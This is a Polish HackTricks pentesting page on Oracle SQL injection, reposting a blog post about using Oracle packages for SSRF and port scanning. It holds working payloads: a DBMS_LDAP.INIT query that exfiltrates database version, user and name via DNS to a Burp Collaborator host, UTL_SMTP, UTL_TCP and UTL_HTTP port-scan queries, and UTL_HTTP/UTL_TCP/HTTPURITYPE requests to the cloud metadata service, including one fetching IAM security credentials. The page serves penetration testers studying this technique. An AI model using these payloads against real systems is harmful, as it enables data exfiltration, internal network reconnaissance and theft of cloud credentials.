hacktricks/pentesting-web/sql-injection/oracle-injection.md
2024-02-11 01:46:25 +00:00

10 KiB

Wstrzykiwanie Oracle

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podaj ten post jako kopię usuniętego postu z https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Używanie Oracle do wykonywania żądań HTTP i DNS poza pasmem jest dobrze udokumentowane, ale jako sposób na wyciek danych SQL w wstrzykiwaniu. Zawsze możemy zmodyfikować te techniki/funkcje, aby wykonywać inne ataki SSRF/XSPA.

Instalacja Oracle może być bardzo bolesna, zwłaszcza jeśli chcesz szybko skonfigurować instancję do wypróbowania poleceń. Mój przyjaciel i kolega z Appsecco, Abhisek Datta, polecił mi https://github.com/MaksymBilenko/docker-oracle-12c, co pozwoliło mi skonfigurować instancję na maszynie Ubuntu AWS t2.large za pomocą Dockera.

Uruchomiłem polecenie docker z flagą --network="host", aby móc udawać Oracle jako natywną instalację z pełnym dostępem do sieci, na potrzeby tego wpisu na blogu.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Pakiety Oracle obsługujące specyfikację URL lub nazwę hosta/numer portu

Aby znaleźć jakiekolwiek pakiety i funkcje obsługujące specyfikację hosta i numeru portu, przeprowadziłem wyszukiwanie w Dokumentacji online bazy danych Oracle. Konkretnie,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Wyniki wyszukiwania zwróciły następujące rezultaty (nie wszystkie można wykorzystać do wykonywania sieciowych żądań wychodzących):

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Ta prymitywna metoda wyszukiwania oczywiście pomija pakiety takie jak DBMS_LDAP (które umożliwiają przekazywanie nazwy hosta i numeru portu), ponieważ strona dokumentacji po prostu przekierowuje do innego miejsca. Dlatego istnieją inne pakiety Oracle, które mogą być wykorzystane do wykonywania żądań wychodzących, które mogłem przeoczyć.

W każdym przypadku, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.

DBMS_LDAP.INIT

Pakiet DBMS_LDAP umożliwia dostęp do danych z serwerów LDAP. Funkcja init() inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta i numer portu jako argument.

Ta funkcja została już udokumentowana w celu pokazania wycieku danych za pomocą DNS, jak poniżej

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Jednakże, biorąc pod uwagę, że funkcja akceptuje argumenty w postaci nazwy hosta i numeru portu, można jej również użyć jako skanera portów.

Oto kilka przykładów:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Błąd ORA-31203: DBMS_LDAP: PL/SQL - Inicjalizacja nie powiodła się. oznacza, że port jest zamknięty, podczas gdy wartość sesji wskazuje na otwarty port.

UTL_SMTP

Pakiet UTL_SMTP jest przeznaczony do wysyłania wiadomości e-mail za pomocą protokołu SMTP. Przykład dostarczony na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysyłania wiadomości e-mail. Dla nas jednak interesujące jest możliwość podania hosta i portu.

Poniżej przedstawiono przykład z użyciem funkcji UTL_SMTP.OPEN_CONNECTION z timeoutem 2 sekundy.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout oznacza, że port jest otwarty, ale nie ustanowiono połączenia SMTP, podczas gdy ORA-29278: SMTP transient error: 421 Service not available oznacza, że port jest zamknięty.

UTL_TCP

Pakiet UTL_TCP oraz jego procedury i funkcje umożliwiają komunikację opartą na protokole TCP/IP z usługami. Jeśli zostanie zaprogramowany dla konkretnej usługi, ten pakiet może stać się łatwym sposobem na dostanie się do sieci lub wykonywanie pełnych żądań po stronie serwera, ponieważ można kontrolować wszystkie aspekty połączenia TCP/IP.

Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to jeszcze bardziej uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może również być używany do zapytania usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.

UTL_HTTP i żądania sieciowe

Najbardziej powszechną i szeroko udokumentowaną techniką w każdym samouczku dotyczącym Oracle SQL Injection jest pakiet UTL_HTTP. Ten pakiet jest zdefiniowany w dokumentacji jako - Pakiet UTL_HTTP umożliwia wywoływanie protokołu HTTP (Hypertext Transfer Protocol) z poziomu SQL i PL/SQL. Można go używać do dostępu do danych w Internecie za pośrednictwem protokołu HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Możesz dodatkowo użyć tego do wykonania podstawowego skanowania portów za pomocą zapytań takich jak:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Błąd ORA-12541: TNS:no listener lub TNS:operation timed out oznacza, że port TCP jest zamknięty, podczas gdy błąd ORA-29263: HTTP protocol error lub dane są oznaką otwartego portu.

Innym pakietem, który używałem w przeszłości z różnymi sukcesami, jest GETCLOB() metoda abstrakcyjnego typu Oracle HTTPURITYPE, która umożliwia interakcję z adresem URL i obsługuje protokół HTTP. Metoda GETCLOB() służy do pobierania odpowiedzi GET z adresu URL jako typ danych CLOB[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: